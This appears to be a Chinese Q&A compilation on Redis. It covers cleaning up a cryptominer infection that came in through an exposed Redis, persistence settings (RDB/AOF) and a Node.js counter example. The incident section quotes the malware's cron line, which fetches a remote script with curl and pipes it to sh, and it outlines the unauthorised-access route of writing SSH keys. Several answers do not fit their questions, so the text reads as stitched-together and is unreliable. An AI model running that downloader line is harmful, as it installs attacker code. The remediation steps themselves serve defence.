redis被攻擊挖礦
⑴ 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權, 在沒有找到根源前,千萬不要刪除 minerd,因為刪除了,過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top,查看了一會,沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下,感興趣的可以研究下:
View Code
解決minerd並不是最終的目的,主要是要查找問題根源,我的伺服器問題出在了redis服務了,黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權,http://blog.jobbole.com/94518/然後就注入了病毒,下面是解決辦法和清除工作:
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」,區分普通用戶和admin許可權,普通用戶將會被禁止運行某些命令,如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表,是不是有你不認識的用戶添加進來。 如果有就刪除掉.
⑵ Redis內存溢出時都發生什麼了
1. 常發性內存泄漏。發生內存泄漏的代碼會被多次執行到,每次被執行的時候都會導致一塊內存泄漏。
2. 偶發性內存泄漏。發生內存泄漏的代碼只有在某些特定環境或操作過程下才會發生。常發性和偶發性是相對的。對於特定的環境,偶發性的也許就變成了常發性的。所以測試環境和測試方法對檢測內存泄漏至關重要。
3. 一次性內存泄漏。發生內存泄漏的代碼只會被執行一次,或者由於演算法上的缺陷,導致總會有一塊僅且一塊內存發生泄漏。比如,在類的構造函數中分配內存,在析構函數中卻沒有釋放該內存,所以內存泄漏只會發生一次。
⑶ 中挖礦病毒的表現
故障現象:使用過程中,發現經常有服務無故關閉,登錄伺服器經檢查,發現CPU使用率達到100%。在檢測異常進程中,未發現CPU使用率異常的進程(使用 top、htop 以及 ps -aux 進行檢查),於是報障。
檢測過程:
1.找到他shell腳本對應目錄把目錄或者文件刪除。
2.檢查定時任務是否存在挖礦木馬文件在定時任務中,避免定時運行挖礦木馬文件。
3.添加hosts挖礦病毒訪問對應網站,避免二次訪問並下載。
4.排查liunx命令是否損壞,如損壞下載"procps-3.2.8"並編譯,恢復top等系列命令。
5.檢測進程是否異常。
6.排查入侵入口,例如 redis是否存在弱口令,nginx或者apache上面的網站程序是否存在漏洞,並排查下nginx或者apache日誌審查漏洞所在處。
7.排查ssh登錄日誌。
8.把ssh登錄切換成秘鑰登錄。
9.重啟伺服器,檢查是否進程是否正常。
⑷ redis緩存穿透,頻繁查詢db,怎麼解決
首先要明白redis資料庫
redis內存資料庫, 所數據基本都存於內存, 定追加或者快照式刷新硬碟.
由於redis內存資料庫, 所讀取寫入速度非快, 所經用做數據, 頁面等緩存
⑸ 怎麼查看redis某個庫被哪個ip消費
①開始→運行→輸入:CMD 點擊確定(或按回車鍵),打開命令提示符窗口。
②使用以下命令查看參數:netstat /?
netstat -a -n
③除此之外,還可以從任務管理器中看到埠開啟的狀態。
運行中輸入:taskmgr →確定→打開Task Manager(任務管理器)
④如果進程中沒有顯示PID項目,已調出來:查看→選擇列
⑤勾選 進程標識符PID →確定
⑥再查看進程中程序和埠的對應關系: BaiHI.exe→2944
參考資料:《如何查看埠使用狀態?》
⑹ redis漏洞 可以入侵windows嗎
Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 伺服器上寫入公鑰,進而可以使用對應私鑰直接登錄目標伺服器。
⑺ redis讀多線程會出現臟數據嗎
是的,和我們單線程,跑兩個50000,會輸出100000。現在是兩個並發線程同時跑在由於並發造成的數據結果往往不是我們想要的。那麼如何解決這個問題呢,Redis已經為我們准備好了!
你可以看到我RedisHelper中有個方法是 public IDisposable Setnx(string key)。 也可以看到他返回的是IDisposable,證明我們需要手動釋放資源。方法內部的 AcquireLock正是關鍵之處,它像redis中索取一把鎖頭,被鎖住的資源,只能被單個線程訪問,不會被兩個線程同時get或者set,這兩個線程一定是交替著進行的,當然這里的交替並不是指你一次我一次,也可能是你多次,我一次,下面看代碼。
⑻ redis怎麼會崩潰
由於redis存儲在內存中且提供一般編程語言常用的數據結構存儲類型,所以經常被用於做伺服器崩潰宕機的數據恢復處理。
伺服器可以在某些指定過程中將需要保存的數據以json對象等方式存儲到redis中,也就是我們常說的快照,當伺服器運行時讀取redis來判斷是否有待需要恢復數據繼續處理的業務。
當一次業務處理結束後再刪除redis的數據即可。
redis提供兩種將內存數據導出到硬碟實現數據備份的方法:
RDB方式(默認)
RDB方式的持久化是通過快照(snapshotting)完成的,當符合一定條件時Redis會自動將內存中的所有數據進行快照並存儲在硬碟上。進行快照的條件可以由用戶在配置文件中自定義,由兩個參數構成:時間和改動的鍵的個數。當在指定的時間內被更改的鍵的個數大於指定的數值時就會進行快照。RDB是redis默認採用的持久化方式,在配置文件中已經預置了3個條件:
save 900 1 # 900秒內有至少1個鍵被更改則進行快照
save 300 10 # 300秒內有至少10個鍵被更改則進行快照
save 60 10000 # 60秒內有至少10000個鍵被更改則進行快照
可以存在多個條件,條件之間是「或」的關系,只要滿足其中一個條件,就會進行快照。 如果想要禁用自動快照,只需要將所有的save參數刪除即可。
Redis默認會將快照文件存儲在當前目錄(可CONFIG GET dir來查看)的mp.rdb文件中,可以通過配置dir和dbfilename兩個參數分別指定快照文件的存儲路徑和文件名。
Redis實現快照的過程
Redis使用fork函數復制一份當前進程(父進程)的副本(子進程);
父進程繼續接收並處理客戶端發來的命令,而子進程開始將內存中的數據寫入硬碟中的臨時文件;
當子進程寫入完所有數據後會用該臨時文件替換舊的RDB文件,至此一次快照操作完成。
在執行fork的時候操作系統(類Unix操作系統)會使用寫時復制(-on-write)策略,即fork函數發生的一刻父子進程共享同一內存數據,當父進程要更改其中某片數據時(如執行一個寫命令 ),操作系統會將該片數據復制一份以保證子進程的數據不受影響,所以新的RDB文件存儲的是執行fork一刻的內存數據。
Redis在進行快照的過程中不會修改RDB文件,只有快照結束後才會將舊的文件替換成新的,也就是說任何時候RDB文件都是完整的。這使得我們可以通過定時備份RDB文件來實 現Redis資料庫備份。RDB文件是經過壓縮(可以配置rdbcompression參數以禁用壓縮節省CPU佔用)的二進制格式,所以佔用的空間會小於內存中的數據大小,更加利於傳輸。
除了自動快照,還可以手動發送SAVE或BGSAVE命令讓Redis執行快照,兩個命令的區別在於,前者是由主進程進行快照操作,會阻塞住其他請求,後者會通過fork子進程進行快照操作。 Redis啟動後會讀取RDB快照文件,將數據從硬碟載入到內存。根據數據量大小與結構和伺服器性能不同,這個時間也不同。通常將一個記錄一千萬個字元串類型鍵、大小為1GB的快照文件載入到內 存中需要花費20~30秒鍾。 通過RDB方式實現持久化,一旦Redis異常退出,就會丟失最後一次快照以後更改的所有數據。這就需要開發者根據具體的應用場合,通過組合設置自動快照條件的方式來將可能發生的數據損失控制在能夠接受的范圍。如果數據很重要以至於無法承受任何損失,則可以考慮使用AOF方式進行持久化。
AOF方式
默認情況下Redis沒有開啟AOF(append only file)方式的持久化,可以在redis.conf中通過appendonly參數開啟:
appendonly yes
在啟動時Redis會逐個執行AOF文件中的命令來將硬碟中的數據載入到內存中,載入的速度相較RDB會慢一些
開啟AOF持久化後每執行一條會更改Redis中的數據的命令,Redis就會將該命令寫入硬碟中的AOF文件。AOF文件的保存位置和RDB文件的位置相同,都是通過dir參數設置的,默認的文件名是appendonly.aof,可以通過appendfilename參數修改:
appendfilename appendonly.aof
配置redis自動重寫AOF文件的條件
auto-aof-rewrite-percentage 100 # 當目前的AOF文件大小超過上一次重寫時的AOF文件大小的百分之多少時會再次進行重寫,如果之前沒有重寫過,則以啟動時的AOF文件大小為依據
auto-aof-rewrite-min-size 64mb # 允許重寫的最小AOF文件大小
配置寫入AOF文件後,要求系統刷新硬碟緩存的機制
# appendfsync always # 每次執行寫入都會執行同步,最安全也最慢
appendfsync everysec # 每秒執行一次同步操作
# appendfsync no # 不主動進行同步操作,而是完全交由操作系統來做(即每30秒一次),最快也最不安全
Redis允許同時開啟AOF和RDB,既保證了數據安全又使得進行備份等操作十分容易。此時重新啟動Redis後Redis會使用AOF文件來恢復數據,因為AOF方式的持久化可能丟失的數據更少
我們簡單做一個定時計數器的小程序
[javascript]view plain
redis=require('redis'),//導入js模塊
RDS_PORT=1379,//埠號
RDS_HOST='47.93.112.119',//伺服器IP
RDS_OPTS={},//設置項
redisdb=redis.createClient(RDS_PORT,RDS_HOST,RDS_OPTS);//創建連接
redisdb.select(20);//指定分區庫
redisdb.on('ready',function(res){
console.log('ready');
});
redisdb.on('connect',function(){
console.log('connect');
});
exports.redisdb=redisdb;
functionredis_opt(opt,key,value,callback){
if(opt=='get'){
redisdb.get(key,function(err,data){
if(err==null){
callback(data);
}
else{
callback(err);
}
});
}
elseif(opt=='set')
{
redisdb.set(key,value,function(err,result){
if(err==null){
callback(result);
}
else{
callback(err);
}
});
}
elseif(opt=='del')
{
redisdb.del(key,function(err,result){
if(err==null){
callback(result);
}
else{
callback(err);
}
});
}
else
{
callback("erroropt!");
}
}
functionupdate(key)
{
redis_opt("get",key,null,function(data){
console.log("theredisdatais"+data);
if(data){
count=parseInt(data);
redis_opt("set",key,++count,function(data){
console.log("set"+count+""+data);
});
}
else{
redis_opt("set",key,10000,function(data){
console.log("set"+10000+""+data);
});
}
});
}
functionclear(key)
{
redis_opt("del",key,null,function(ret){
console.log("del"+key+""+ret);
});
}
functionmain()
{
varkey="count_test";
setInterval(function(){clear(key)},5000);
setInterval(function(){update(key)},1000);
}
//testmain();
main();
以上代碼為簡單的計時器函數,即伺服器啟動後定時讀取redis的數據,如果存在則累加修改,不存在則初始化,同時為了方便說明,又設置了一個定時刪除數據的定時器。
⑼ redis blocked clients是哪些進程
1. 掌控儲存在Redis中的所有鍵
資料庫的主要功能是儲存數據,但是對於開發者來說,因為應用程序需求或者數據使用方法的改變,忽略存儲在資料庫中的某些數據是非常正常的,在Redis中同樣如此。你可能忽視期滿某些鍵,也可能因為應用程序的某個模塊棄用而忘掉這些數據。
無論哪種情況,Redis都存儲了一些不再使用的數據,平白無故的佔用了一些空間。Redis的弱結構數據模式讓集中儲存的內容很難被弄清,除非你 為鍵使用一套非常成熟的命名法則。使用合適的命名方法會簡化你的資料庫管理,當你通過你的應用程序或者服務做鍵的命名空間時(通常情況下是使用冒號來劃分 鍵名),你就可以在數據遷移、轉換或者刪除時輕松的識別。
Redis另一個常見用例是作為熱數據項作的第二數據存儲,大部分的數據被保存在其他的資料庫中,比如PostgreSQL或MongoDB。在這 些用例中,當數據從主存儲移除時,開發者經常會忘記刪除Redis中對應的數據。這種存在跨數據存儲的情況下,通常需要做級聯刪除,這種情況下,可以通過 在Redis配置保存特定數據項的所有識別符來實現,從而保證數據在主資料庫被刪除後,系統會調用一個清理程序來刪除所有相關副本和信息。
⑽ redis被攻擊,怎麼預防
1,主從是必須的,不過現在redis的proxy還不穩定,主從異常還得手工切換
2,持久化,根據數據變化頻率和數據量,調整持久化參數,選擇RDB或者AOF做持久化
3,可是,如果是做緩存,最好是能從業務中重建的。
4,國內有個ssdb,個人測試的結果顯示ssdb能有redis 20%左右的性能,但集群比較好,一些項目中可以用來替換redis.